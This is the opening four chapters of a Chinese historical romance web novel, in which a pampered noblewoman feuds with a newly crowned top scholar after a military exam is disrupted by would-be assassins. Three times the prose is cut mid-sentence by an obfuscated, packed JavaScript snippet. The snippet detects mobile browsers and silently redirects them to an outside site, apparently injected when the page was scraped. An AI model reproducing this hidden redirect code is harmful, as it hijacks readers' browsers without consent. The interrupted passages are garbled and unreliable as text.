《斩楼兰》 1. 第 1 章 刘德升一早起来，就有客栈的伙计给他打了水，备给他沐浴更衣。 他用梳子沾了桂花油，将头发梳弄得一丝不苟；又对着铜镜仔细照看，确认每一根头发丝都规规矩矩的。 他如此谨慎，只因这是决定他命运的时刻——今日，他要参加武举的终试。 他下了楼，遇到的每一个人都满嘴吉祥话：“刘郎君，预祝你高中啊！” 他一一回谢，面上努力维持着镇定，心中却止不住地打鼓。 他从十八岁开始参加武举，今年已经快三十了。他明显地感觉到自己的体力日趋下降，若是这回还没有名次，他以后就越发的力不从心了。 他要了一壶桂花茶、一份桂花糕、一碗蟹黄面。如今不是吃蟹的时节，面里就几粒蟹黄，要价高得骇人。而且在武试的当天，这几道菜的价格更是往上翻了一番。 ——只因这几道茶点面食，是曾经的天下第一高手、开国元勋蒋遥将军的最爱。蒋将军被太祖尊为武圣，立金身塑像于国教逍遥宗。是以大雍习武之人，皆拜武圣之像，且会在比武日的早晨食用这几样，求个好意头。 “刘兄起得好早！” 一道熟悉的声音自右侧传来，刘德升循声望去，见一青年走了过来，于他对面落座。 “王贤弟，你来啦。还没吃早饭吧？”刘德升连忙道，“小二，给我贤弟上一份和我一样的！” “刘兄不必破费，我不信这个……” “哎——”刘德升打断了他，“哥哥我请客，你要是推辞，就是不拿我当兄弟。” 王成汝只好谢过。 二人是在客栈里认识的，他们住在隔壁，都是来参加武举的，刘德升又热情得很，一来二去也就熟了。 正值盛夏，晨间的微末凉意也被暑气逼退，日头愈发毒了。 举子们列队站在武试场中，晒得脸上发红发烫，汗水很快凝聚成一滴一滴的小水珠，沿着脸边滚落下来。 刘德升闻到他头上桂花油的味道随着热汗一齐散开，他有点头脑发昏，不知是被这味儿熏的，还是晒的，抑或是太过紧张的缘故。 一座看台屹立在侧，分外引人瞩目。那看台是卷棚歇山顶，像是慵懒的美人倚靠其上，山花雕画缠枝牡丹纹样，华贵雍容；四角悬着铜制风铎，清鸣阵阵，似能驱去心间燥热暑意。柱间垂有纱幔，隐约瞥见其后六道人影——二人对坐，四人侍立。 “那是谁？”王成汝问道。 “别看！仔细你的脑袋！那二位是京中最最尊贵的两位贵女，万万冒犯不得的。”刘德升压低了声音，“其中一位是平远侯之女张家娘子，另一位是吏部尚书之女褚家娘子。” “这是武举终试，她们两名女眷来做什么？” “那二位喜欢看人打架，看台就是特地为她们搭建的。国公爷亲自找最好的匠人画的图纸，谁敢说一个不字？” 金鸣鼓响，武试宣告开始，那看台上的纱幔亦被侍女一左一右挑起。 外头挥汗如雨，台上却是一室清凉。座侧放着冰鉴，果子、饮子早冰好了，盛于一套冰裂纹青瓷具中，搁在二位贵女手边的矮几上。侍女们挥动着孔雀翎宫扇，将缕缕凉气送至她们颊边。 褚笑眉碗中的荔枝冰乳酪已下去了大半，青简忙伸手夺走了：“娘子不能再吃了，郎君交代过，您每日食凉不可超过两碗。” 到嘴边的甜乳酪在眼皮子底下飞走了，褚笑眉蹙眉瞠目，敢怒不敢言。 张菁拈着鎏金银签，叉起一颗剥好皮的冰葡萄，有意在她眼前晃了晃，慢条斯理地放入口中：“冰冰凉凉的，吃起来真解暑。可惜某人被她阿弟管得服服帖帖的，享不了此等口福喽——” 褚笑眉白她一眼，斜过身子望向武试场，眼不见为净。她抬了抬下巴，指向即将上场的刘德升和王成汝：“看见那两个相邻站着、穿缁衣和蓝衫的人了吗？赌一把，他俩谁的名次更高。” “赌什么？” “若你输了，这些解暑的饮食你今日不许再吃，省得你馋我。” “要是我赢了呢？” 褚笑眉想了想，将手中的扇子递与她看：“我这柄百蝶扑芳、鱼戏莲叶双面团扇，是苏绣大师刘三娘和韩大娘的最后一作。你若赢了，它就归你。” “行，倒是个好玩意儿，值得我拿口腹之欲赌一赌。”张菁垂眸瞥了一眼，应了下来。“你押谁？” 褚笑眉道：“那个蓝衫人。” 骑射、步射、举重等项在上次考核已考过了，今日的终试是四人一组比武。身着缁衣的刘德升先上场，他选择的武器是一把长枪。 枪尖在烈日下闪动着银芒，只见他或拦或扎，将枪身舞动得好似一条游龙，气势逼人。 褚笑眉评价：“底子挺扎实，但机变不足，难怪他要选枪。一寸长、一寸强，不给对手近身的机会，是个好策略。” 不过一盏茶时间，刘德升已取得了胜利。 张菁挑了挑眉，得意道：“看来某人要忍痛割爱了——” “现在下定论为时尚早，那蓝衫人还没出手呢。” 王成汝被点到名字，提剑在手，步上擂台。随着擂鼓声响，他手中长剑铮鸣一声出鞘，以雷霆之势攻出。 “好俊的功夫！能有我阿兄五成的战力。”张菁不由得赞叹道，“若是不出意外，今科武状元定要落到他头上了。” “七成。”褚笑眉出言纠正。 “你这话说的，也太小瞧我阿兄了！”张菁道，“我阿兄自小从戎，随父南征北战。在朝野之中，武功能排进前五……” 说到这里，王成汝已然大捷。从开战到结束，仅仅用了十招。 张菁继续道：“要是我阿兄出手，五招就能解决。” “这人在隐藏实力。”褚笑眉道，“第六招时，对手已露了破绽，他却非要撤剑防守；还有第八招时，他已腾跃而起，对手上方失守，他落地时竟不借势跳劈。” “不管怎么样，这场赌约显然都是我赢了。”她向婢女招了招手，“白虹，命人将这些果盘饮子撤下，我们的张娘子她也吃不成了——” 张菁轻哼一声，懒得搭理她这副小人得志的嘴脸。 就在此时，变故横生： 只见那蓝衫人一战告捷，却并未依循规矩交回长剑，反倒纵跃而起，剑锋直指平远侯。 他暴喝出声，嗓音灌注内力，响彻四周：“场上侠士，随我诛杀窃国贼子张永昌！” 平远侯张永昌，正是张菁之父。 张菁阻止了将要撤盘的婢女们：“放回来，这赌局是我赢了。” “此话怎讲？” “我们赌的是这二人谁名次更高，既然这蓝衫人要行刺我阿爷，就必不会有名次。”张菁解释着，叉起一块冰西瓜，笑得眉眼弯弯，“所以是我赢。” 褚笑眉叹了口气，将团扇搁到她面前：“喏，我愿赌服输。” 蓝衫人一呼之下，武试场中有一十七人突然暴起。他们都是潜伏在举子之中，伺机刺杀平远侯的侠士。只见他们抢夺了兵器架上的利刃，纷纷向平远侯袭去。 “逆贼大胆！”世子张正茂怒喝一声，拔剑迎上。兵部尚书、侍郎亦拍案而起，场上数千将士举兵围上。 那十七人皆被拦下，唯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15234517|166025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有蓝衫人突破了防守，近了平远侯的身。平远侯正执着茶盏递往唇边，剑风呼啸而来，他却连一个眼神也欠奉。他将那杯盏往空中一抛，屈指在剑身一弹，将蓝衫人震退两步。而后他顺势接住了瓷盏，竟无一滴茶水洒出。 张正茂撤身回防，与那蓝衫人交起手来，二十招内便将他生擒，交到身边的将领手中。其余侠士亦被尽数拿下。 一柄柄雪亮的大刀架在这十八人脖颈上，张正茂道：“尔等扰乱武举，行刺国之重臣，是受何人指使？” 蓝衫人闻言大笑：“何须有人指使？你们这帮奸佞把持朝政、鱼肉百姓，大雍早已民不聊生！我等既有功夫在身，秉承侠之一名，自当为民请命，铲奸除恶！” “好一个侠字！”张正茂冷笑，“是非功过，岂容你们评说？以武犯禁，视朝廷法度为无物，该当何罪？” “既未功成，那便身死。”蓝衫人毫无惧意，字字铮铮。“死又何妨？纵使杀了我们十八人，天下还有千千万万人！” 他转而望向场上千百举子，扬声喝问：“诸位学成文武艺，货与帝王家，焉知自己货与的究竟是帝王，还是这帮奸臣佞党？” 张正茂从鼻中嗤出一声，下令道：“妖言惑众——斩！” 看台之上，婢女放下了垂帘。青绿的纱幔之外，有碧血在长空下溅开。 这十八人行刺平远侯之举在长安城传开，有人称他们为义士，有人说他们是贼子。街头巷尾议论了几日，便渐渐地被人遗忘，甚至不配再做茶余饭后的谈资。 这故事算不得稀奇，远远比不上京中第一贵女褚家娘子又用了哪家的香膏、光临了哪间酒楼，长盛不衰地引人瞩目和效仿。 三月后，夏去秋来。 灿金的黄叶簌簌作响，恰有几片被风吹下，飘落香车宝盖之上。这是褚府的驷车，画棚绣毂，豪奢无比，拉车的俱是价逾千金的汗血马。可惜再是好马，终究也没能长出翅膀，仍旧被困在这水泄不通的大街上。 褚笑眉不耐地蹙起了眉：“都一炷香时间了，还没能向前挪动，怎么堵成这样？” 白虹是会功夫的，她轻身纵跃出去探查了一番，回来禀道：“娘子，今日文闱放榜，家中有女待嫁的都围在这里，准备着要榜下捉婿呢。” “这可麻烦了，我约了阿菁打马球，若是迟到太久，她必定又要不依不饶了。”褚笑眉望向济济人潮，忽地眸光一亮，有了主意，“解匹马下来，我骑马过去。” 马车走不过的道，马匹还是能走一走的。褚笑眉操纵着骏马左闪右避，好容易度过了最拥挤的一段路。 她轻夹马腹，在道上驰骋，却不料—— 一人斜斜从旁窜了过来，眼看着就要被马儿踩在脚下。 “当心！”她急忙收紧缰绳，用力勒住了马。 汗血马高高起扬，给了那人反应的时间。只见他闪身向后一避，马蹄落下时，险险擦过他衣角。 褚笑眉正欲开口怒斥，那人却抢先拱手一揖，致歉道：“在下慌忙之间，扰了娘子的马，娘子可有受惊？” 对方如此识礼数，她满腹的火气已熄了一半。她垂眼看去，发现此人实在长了一张太俊美的脸，虽有几缕发丝散落，却反倒因这些许的狼狈之态显得郎艳独绝。于是剩下的那一半怒气亦偃旗息鼓，她开口答道：“无碍……” 浩浩荡荡的人群追了过来，她听见那些人喊道：“状元郎在那儿！别让他跑了！” 被穷追不舍的新科状元郎看起来头疼不已，他的目光扫过那汹涌人潮，最终落到了褚笑眉骑乘的汗血马上。 “事急从权，冒犯了。” 2. 第 2 章 还没等褚笑眉反应过来，状元郎已翻身上马，坐到了她身后。她手中的缰绳被他抢走，而后他一夹马腹，驾马向前疾驰。 “放肆！你做什么？！” 她凝眉怒斥，屈起肘节朝他撞去，却被他手掌稳稳托住。他微乱的吐息和清和的嗓音一同拂过她耳廓：“且委屈娘子片刻，待我逃出去，当即下马向娘子赔罪。” 褚笑眉自小娇纵，何曾被人这般不敬过？她转过身去推他，试图将他掀下马，岂料马儿恰好腾空跃起——她在马背上一晃，便要朝旁跌去。 饶是她马术极佳，可此时缰绳不在她手中，她又拧着身子不好发力。正慌乱地想抓住些什么，状元郎已在她腰间轻轻一托，将她扶正。 “莫动，仔细摔下去。” 他的双臂虚虚环在她身侧，看起来倒像是将她圈在怀中。一同环绕着她的，还有他身上浅淡的乌木香。她垂下眼眸，瞥见他握着缰绳的骨节分明的手指，还有他在日光下熠熠生辉的衣袖织金。 褚笑眉有些脸热，又觉得此时羞赧实在是颇没志气，强撑着冷下一张脸，任由他策马将自己带离此地。人群被远远甩在后方，喧嚣叫嚷声渐小渐弱，直至再也听不见。 状元郎终于勒了马，翻身跃下，拱手朝她长长一揖：“在下江铭，方才多有冒犯。敢问娘子府上住何方？今日仪容不整，明日我必当登门致歉。” 褚笑眉看他的眼神多了几分玩味：“你不知道我是谁？” 江铭解释道：“在下初至京城，孤陋寡闻，确实不知娘子门楣。” 褚笑眉亦跳下了马，伸手捏住他下巴，迫使他与自己对视：“状元郎是吧？寒窗苦读十年又如何？每三年殿试放金榜，都会出一个状元郎，有什么好稀罕的？你听好了——” “我阿爷是朝中的吏部尚书，我阿弟是当今的天子伴读。你不必登门，三日后蟾宫宴上，他们自会给你好看。”她冷笑出声，一字一句道，“怎么样，后悔今日抢我的马了吗？” 她一番威胁的狠话放完，江铭眼底反倒浮起了淡淡笑意：“并未。尚书大人怪罪于我，也是我有错在先。即便因此赔上前程，好歹是躲过了榜下捉婿。” 褚笑眉奇道：“榜上进士，皆以被各家争抢作婿为荣。凭你状元郎的身份，京中世家贵女可说是任君挑选。怎的你却好似觉得这是件祸事，唯恐避之不及？” “以科考入仕，本已汲汲于功名；连嫁娶也要趋利避害，平生岂有片刻随心？”江铭道，“在下惭愧，若非两情相悦，不愿结为连理。” 说这话时，他鸦睫略略低垂，投下一片阴影。他生得肤色白皙，眉睫却如墨画般黑，神仪明秀，皎如玉树，艳得叫人移不开眼。 微凉的秋风拂面而过，从褚笑眉脸上卷走些许热意。汗血马的鬃毛在风中扬起，马儿甩了甩头，扯得她手中的缰绳一荡一荡。 暮色四合，华灯煌煌。 褚笑眉迈过垂花门，经抄手游廊行往浮玉轩——这是她所居的院落。 脚下踩到的地面分外柔软，乃是以青草铺就。较之坚硬的青石砖地，这样的院子更显出一派鲜嫩的青葱绿意。妙的是雨后不会打滑，更不怕玩闹时不慎跌倒。 打理起来却颇费一番功夫。院中婢子往来践踏，难免损耗得快；遑论秋冬时草木枯黄，更是需请花匠频繁将温室里培育的青草移植过来。 厅堂旁立了座秋千架，架边缠着一树的紫藤萝花。花枝攀附着枝干向上，又从秋千绳上柔柔垂落，可怜可爱。藤萝的暗香随风起落，隐隐浮动。 她闺房中的灯已点了起来，因她日日都要沐浴，奴婢们正来来往往，为她备上热水、香花和巾帕。 “阿姊。” 熟悉的幽冷嗓音自旁侧传来，褚笑眉浑身一僵，讪笑着循声望去：“小臣，你吓我一跳。大晚上的，怎么不点灯？” 褚笑臣抬了抬手中的灯杆，唇角微勾，笑意却在眼中泛着冷光：“我候了阿姊许久，灯油早燃尽了。” 她闻言皱了眉，走上前去探他的手，果真冰凉一片：“我的屋子你又不是进不得，在这里等什么？你打小身子就不好，如今入了秋夜里凉，仔细又得一场风寒。” 她一面说着，一面抢过了他手中提灯扔给白虹，又将他双手拢进掌心捂着：“进去再说。” 褚笑臣垂眸看着她，眼中的寒意总算消融，真真切切地浮上几分笑：“阿姊关心我。” “去灌个汤婆子过来。”褚笑眉向婢女吩咐完，方才接下他的话，“我就你这么一个阿弟，不关心你还能关心谁？” “阿姊说的是。”他眸色又暗了下去，“阿姊今日去了哪里？可见了什么人？” “不是同你说过吗？今日出门是去同阿菁打马球。” “除此以外，”褚笑臣定定地盯着她，“就没有发生别的什么？” “阳澄湖的蟹送过来了，侯府做的蟹酿橙味道不错。可惜张菁小气得很，不肯把她的厨子借我使使，说是怕我把人扣下！”说到这里，她颇有些心虚，“……我是那种人吗？！” “阿姊莫恼。阿姊既然喜欢，我差人去苏州另觅厨娘，不会比侯府的差。”褚笑臣道，“我听说，阿姊去看了文闱放榜，还遇见了今科状元郎？” “这你也知道了？”褚笑眉叹出一口气，瞪向侍立在旁的青简，“是不是你又告我的状？” “奴婢不敢。”青简垂首道。 “她方才与阿姊一同回府，寸步未离，哪来的机会告状？”褚笑臣亦望向了青简，话锋一转，嗓音冷得渗人。“不过你确实该罚，主子要出行，你连放榜都不晓得避开，这般疏忽大意。怎么，做不好贴身伺候的活儿，想去浣衣洒扫？” “奴婢知错。” 青简原本是褚笑臣院中的，他挑了这个最伶俐的，又悉心调教好了，而后才送到阿姊身边。名义上虽换了主，可青简实际仍听命于他。 褚笑眉劝道：“好啦好啦，她又不是神仙。这世上谁能做到事事周全，不出分毫纰漏？” “若是阿姊的事……我能。”褚笑臣低声说了一句，声音轻得像是一阵风。 “那既然不是她告状，你是怎么知道的？” 褚笑臣道：“阿姊是京中第一贵女。阿姊买下哪家的香膏，那香膏不出半日便会售罄；阿姊赏脸去哪家酒楼用膳，那酒楼整月都会人满为患、一座难求。无论阿姊做什么，世家女子皆会效仿追捧。 “今日之事，既与阿姊有关，又与新科状元有关，早已传得满城风雨。阿姊觉得，我会不知？” “这么快就传出去了……”褚笑眉惊道，“他们都说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15234518|166025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我些什么？” 褚笑臣的眼眸眯起危险的弧度，一字一句、咬牙切齿：“说今科状元郎，被阿姊在榜下捉了婿。” “我没有！”褚笑眉忙不迭地否认，“是他过来抢我的马……” “我知晓阿姊没有。以阿姊的身份，何须去捉区区一个状元郎？”褚笑臣道，“不过他这般辱没阿姊名声，待他受邀去蟾宫宴，我替阿姊好生教训他，好不好？” “算了吧，也不是什么大事。他读书科考不容易，何必毁人前程？” “阿姊舍不得？”褚笑臣话音愈冷，“我听说这位状元郎生得极为俊美……阿姊，我比上他，如何？” “哦，原来是担心被抢了美男子的名头。”褚笑眉恍然大悟，捧起他的脸轻轻捏了捏，毫不犹豫道，“自然是我们小臣最好看！” 褚笑臣似有些无奈，眸光却到底还是温柔了下来：“阿姊惯会哄我。” 送走了自家阿弟，褚笑眉沐浴后安寝，一觉睡到日上三竿方醒。 白虹一面伺候她盥洗，一面道：“娘子可算是醒了，那位状元郎已在花厅候了一个时辰了。” “他来做什么？” “还不是为着昨日之事，上门来向娘子致歉的。” 褚笑眉道：“他既早来了，怎的没人叫我？” “那位状元郎说，本就是他有错在先，既是来请罪的，又怎可因此扰了娘子清梦。”白虹道，“他自个儿愿意等，奴婢们就晾着他，让他候着了。” 梳妆完毕，又是半个时辰过去。 褚笑眉着一身藕荷色如意纹织银襦裙，配珍珠点翠蝴蝶金璎珞，左腕戴一对玉镯，右腕戴一双金镯，行止时叮当作响，富贵雍容。 她终于施施然起了身，往花厅行去。 江铭候了许久，面上却无分毫焦躁之色，倒像是悠然赏景的清贵公子。见她姗姗而来，从从容容向她一揖：“褚娘子，今日冒昧登门，叨扰了。” “不是说过叫你不必来吗？” “礼不可废。”江铭道，“昨日既冒犯了娘子，自该上门请罪。” “哦？那你说说，你要如何请罪？” “在下出身金陵，金陵城中，以云锦最贵。我带来云锦十二匹……” “绫罗绸缎？你觉得我缺？”褚笑眉打断了他，从鼻间嗤出一声轻笑。 白虹亦道：“江郎君有所不知。我们府上连高昌国所产的浮光锦都堆积如山，软烟罗、香云纱是扯来做帐子的，至于寻常的蜀锦、云锦之类，更是赏给奴婢们穿的。郎君若要献布匹，娘子还瞧不上。” “原是如此。”江铭道，“娘子既不缺俗物，我还藏有一副寒梅凌雪图，是前朝丹青圣手程嘉的真迹……” “江郎君没在我府上逛过吧？”褚笑眉漫不经心道，“古董书画，于游廊上陈列颇多，处处可见。” 她徐徐抬眸，好整以暇地打量着他：“江郎君献不出什么好宝贝，这道歉可不大诚心啊。” “恳请褚娘子见谅。与娘子相比，江某实在是身无长物。” 褚笑眉冷哼道：“你在大庭广众之下抢我的马，害得我与你的谣言传得沸沸扬扬。你该不会以为，此事能轻飘飘揭过去吧？” 江铭垂眼轻轻一笑：“既然褚娘子在意的是声名，不如——” 3. 第 3 章 “不如，罚江某以新科状元之资，为娘子牵马坠镫一年。”江铭问道，“这个道歉，可还算诚心？” 褚笑眉微微一惊：“你此言当真？” “当真。” “你堂堂状元郎，竟肯纡尊降贵，做此等仆役的差使？” “江某说过，今日是诚心来请罪的。既是弥补错处，又怎可自视‘尊贵’？” “这倒还像话，一言为定。”褚笑眉应下，转头向白虹道，“差人去侯府说一声，约阿菁午间到八珍居用膳。” 她又意味深长地冲江铭笑了笑：“有劳状元郎做我的马夫了。” 她挑这么个地方，自然是存了戏弄江铭的祸心。八珍居乃京中最大的酒楼，位于繁华的朱雀大街上，往来行人络绎不绝。他在彼处为她牵马，不知得被多少双眼睛看见。 褚笑眉的坐骑是一匹照夜玉狮子，名唤“莹玉”，乃是靖国公所赠。通体洁白无瑕，毛发如雪，泛着莹莹的光泽。即便是不懂马的，一看也知绝非凡品。至于马上所饰金羁银鞍、锦鞯绣毯，更是华美无双。 京中人士见此马，便知是世家第一贵女褚家娘子到了。 小二早殷勤地迎了上来：“褚娘子许久不来了，顶层的雅室一直为您留着呢。您的宝驹交给小的就好，保管照顾得妥妥贴贴的！” “不必，”褚笑眉下了马，冲江铭抬了抬下巴，“我带了人来替我看马。” 侍女引她上楼，食客们纷扰的声音传入耳中：“德升兄今年武举中第，我们也跟着沾了光，第一次上这八珍居的二楼来吃饭！” 刘德升道：“早该请诸位来的，可惜这八珍居中一座难求，愚兄等了三个月才排上。” 褚笑眉问侍女道：“你们楼中的座竟还要等？” “于旁人自是要的。”侍女解释道，“依八珍居的规矩，商贾人家无论如何巨富，皆只能坐在一楼；要上二楼，须得是官身；其后以六品、三品为界，可分别再上一层；至于顶层，则仅供于王侯将相所用。 “长安城中的小官小吏多如牛毛，故而二楼的座是最难等的，往往需提前好几月挂牌定下。此人只等了三个月，已算是短的了。” 褚笑眉随她步上最高层，迈入悬着“念奴娇”题字的雅室。 张菁已先到了，正趴在窗边向下望着。听见她的脚步声，头也不肯回，只伸手朝着候在楼下的江铭遥遥一指，问道：“那位就是在金榜下被你捉走的状元郎？” 褚笑眉啐了她一口：“好啊，京中传了这么多谣言还不够，连你也来编排我。” 她仍觉不解气，又向侍女吩咐道：“今日这一餐，全记到张家娘子账上！” 张菁嚷道：“哪有这样的道理？说好了是你请客！” 侍女微微一笑：“二位娘子不必争。国公爷早交代过，褚娘子在八珍居的一应花销，都走国公府的账。” “嘁，便宜你了。”褚笑眉轻哼一声，见对方还直勾勾地盯着楼下，不由得出言提醒，“还看？就这么喜欢那位状元郎？我回头引荐你们认识？” “不是，”张菁解释道，“我看见好几个小娘子路过，给你的状元郎扔了荷包和香帕。你……不下去看看？” 褚笑眉闻言，凑到了她身边，亦垂首向下俯瞰。果然看见状元郎脚边，躺着几样花花绿绿的玩意儿，在青石砖的地面上分外惹眼。 她特地领他往人多的地方来，本是存心要戏弄羞辱。想看看清高矜贵的状元郎为她牵马时，被人围观议论的局促模样。 孰料此人竟无半分窘迫之态，始终坦坦荡荡地长身而立，不像是侍马的仆役，倒像是那宝骏的主人。俊美无俦的状元郎与神姿英发的白马站在一处，引得路过的女娘们频频回顾。 正观望时，又有一小女娘以袖掩面，含羞带怯地往他的方向扔了个荷包。只是准头却不大好，砸到了她的爱驹莹玉身上。 褚笑眉一口银牙都快咬碎了，向侍女道：“把那人给我叫上来！” 江铭入了雅室，礼数倒是周全，朝着二人一揖。 褚笑眉冷冷道：“江郎君究竟是来给我侍马的，还是来招蜂引蝶的？” 江铭微怔了怔，而后垂眸一笑，温声解释：“自然是来为娘子侍马的。那些荷包和香帕……江某一样都没收。” 他不解释还好，这么一解释，倒像是她在拈酸吃醋。 褚笑眉的脸颊有些发烫：“谁问你这个了？” 张菁的目光在二人身上来回转了转，眼底浮起促狭笑意：“我突然想起来，今日的枪法还没练完。这顿饭你们俩吃吧，我先回去了……” “站住！”褚笑眉与她从小一起长大，一看这妮子的神情，便知她误会了什么。“你别乱猜，不是你想的那样。” “真不要我走？”张菁笑道，“那给状元郎加副碗筷吧。” 侍女正欲去取，褚笑眉却阻止道：“加什么加？他是来侍奉我的，又不是来吃饭的。” 她眼珠子滴溜溜转了一圈，似想到什么坏主意。而后她望向状元郎，出言询问：“江郎君可会抚琴？” “略通一二。” “去取琴来，让江郎君奏上一曲。” 江铭道：“江某上来时，留意到楼中有乐人。娘子既想听曲，便叫他们来。” 褚笑眉眯起了眼：“你都做了替我侍马的仆役了，这会子还装什么清高？难道弹琴的差使竟比马夫还低贱？” “娘子，差使并无高低贵贱。个中分别，只在于娘子是否存了轻贱之心。”江铭道，“我有错在先，故而愿以牵马坠镫请罪，听凭娘子驱遣。至于其他，恕江某难以从命。” “你今日若执意不肯弹琴，你抢我马的事我便不会原谅。江郎君已知晓我的身份，我劝郎君还是莫要自讨苦吃。” “江某登门致歉，并非奢求娘子谅解，只是尽力做出补偿，以求无愧于心。若娘子仍旧不能消气，自可动用一切手段，随意发作江某。江某理应为自己的错处承担后果，绝无怨言。” “你！”褚笑眉愈发气恼，见威逼不成，又改作利诱，“不如这样，只要江郎君弹了这一曲。不仅你我之间的旧账一笔勾销，我也会在我阿爷和阿弟面前美言几句，让他们对你多多提携，如何？” 江铭并不接话，只道：“娘子若无他事，江某先行告退，去楼外为娘子照看莹玉。” 见他果然转身离去，张菁浅抿了一口茶，评价道：“你眼光不错，此人倒真有些文人风骨。” “呵，文 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15234519|166025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人风骨？分明就是不识时务的倔脾气！”褚笑眉说完，才反应过来对方前半句话的意思。“等等……什么叫我眼光不错？我只是因为被他在大庭广众下抢了马，还传出乱七八糟的流言，单纯气不过，想折腾折腾他罢了！你别乱想啊！” “好好好，我信了。”张菁敷衍应下，抬手招呼侍女，“给我们褚娘子上一份清蒸鱼。” 她笑了笑，意味深长地又补上一句：“多加醋。” 想羞辱状元郎实在是一件难事，无论是朱雀大街，还是东市西市，褚笑眉都让江铭牵马走过了。分明是做着马夫的活儿，可他走在路上，始终不卑不亢、泰然自若，反倒像是握着缰绳闲庭信步的贵公子。 褚笑眉不信邪，觉得肯定是没找对地方。她在闺中冥思苦想半晌，终于向白虹道：“去把江郎君叫来，我要去护国寺，让他过来牵马。” “现在怕是不行。”白虹提醒道，“娘子忘了，今日是放榜后的第三日，圣上要在瑶台办蟾宫宴，宴请新及第的进士。江郎君此时应当正在宴席上呢。” “蟾宫宴？”褚笑眉眉头一蹙，“糟了，我没告诉阿弟，我与状元郎的恩怨已私下了了。蟾宫宴上，小臣定会诸般为难于他……” 她心底清楚，江铭那日的冒犯之举，确实是事急从权、别无他法。她私底下出出气也就罢了，倒犯不着真让人赔上前程。 她惴惴不安地在院中候了半日，总算收到了白虹打探来的消息：“娘子可以放心了。” “怎么？小臣竟不曾刁难他？” “那倒不是，郎君在宴上给江郎君出了好多难题。进士们听了，皆面露难色、议论纷纷。”白虹道，“孰料江郎君竟对答如流，最难的一道题，也不过思量了几息时间。这一场蟾宫宴结束，江郎君已是名声大噪了。” “不过……”白虹略顿了顿，低声补充，“听说郎君的脸色差得很，待他晚间回来，娘子要好生哄哄了。” “小臣自小学问就好，倒是难得见他吃瘪。”褚笑眉道，“备马，我出去一趟。” “娘子要去哪儿？” “去见见那位状元郎。小臣既磋磨了人家一番，新仇旧恨也算是抵消了。我去同他说一声，牵马坠镫之约到此为止。” 蟾宫宴已然结束，江铭尚未离开。褚笑眉抵达时，见他正在瑶台外的玉昆池边，与一名女娘相谈甚欢。 那位小娘子她认得，是左补阙吴谆的次女吴媚。左右补阙仅是从七品，她出身低微，且又是庶出，京中世家贵女皆有些瞧她不上。 不过吴媚生得一副好相貌，又爱与各家的郎君们厮混在一处，陪他们吟风弄月、赋诗作画。这些贵胄子弟都颇为喜爱她，捧她做了个“京中第一才女”。 只见吴媚掩唇轻笑了两声，一双妍丽的桃花眼中满是仰慕，含着秋水望向江铭：“我听闻文颂在宴上所言，顿觉醍醐灌顶，茅塞骤开矣。方知古人说‘听君一席话，胜读十年书’非虚。” 褚笑眉走近他二人，将这两个字在口中轻轻咬了一遍：“文颂？” 于是京中第一才女眼波流转，徐徐望向京中第一贵女，笑问道：“是江郎君的字。听闻褚娘子与江郎君在放榜日便已结识，娘子竟迄今仍不知晓郎君的字吗？” 4. 第 4 章 褚笑眉冷笑一声：“我问他的字做什么？我又不想与他结交。” 她的目光在吴媚身上扫过，意有所指：“有的人身份低微，自然巴巴地想要攀附新科状元郎。吴娘子要谈诗词也好，要做文章也罢，改日再卖弄你这身才学。 “今日我要去护国寺，而这位状元郎——要替我牵马。” 她原本来此，是要告诉江铭，牵马坠镫之约作废的。可如今竟连吴媚这种货色都敢挑衅到眼前来，她就还非得耀武扬威一番了。 吴媚眸中现出一抹惊诧，如涟漪般在她眼底泛开：“恕我多嘴，褚娘子出身高门显贵，许是平日里前呼后拥、对下人们颐指气使惯了。可文颂既是今科状元，便算是天子门生，娘子这般折辱于他……怕是不妥。” “知道自己多嘴，你还说？”褚笑眉眼眸一眯，语气颇为不善。“状元郎都没异议，你算什么东西，要来替他出头？” 江铭亦道：“有劳吴娘子挂怀，不过牵马坠镫之事乃是我亲口允诺的。褚娘子只是来叫我兑现承诺，并非折辱。” 与吴媚道过别，他熟稔地接过莹玉的缰绳，扶正了坐鞍和脚镫，请褚笑眉上马。 褚笑眉骑着高大的宝骏，自上而下睥睨着吴媚，骄纵地冲她挑了挑眉。 一路上，褚笑眉都没给江铭什么好脸色。要么嫌他走得太快，让她来不及细细观赏沿街景致；要么嫌他走得太慢，磨磨唧唧的害她心烦气躁。 状元郎始终好脾气地听她差遣，伺候着这位鸡蛋里挑骨头的祖宗。 护国寺的匾额沉沉地悬在那里，金字垂垂，压在下方一众来往信众之上。香火袅袅，数不清的人模糊消散其中，再汇为一处。 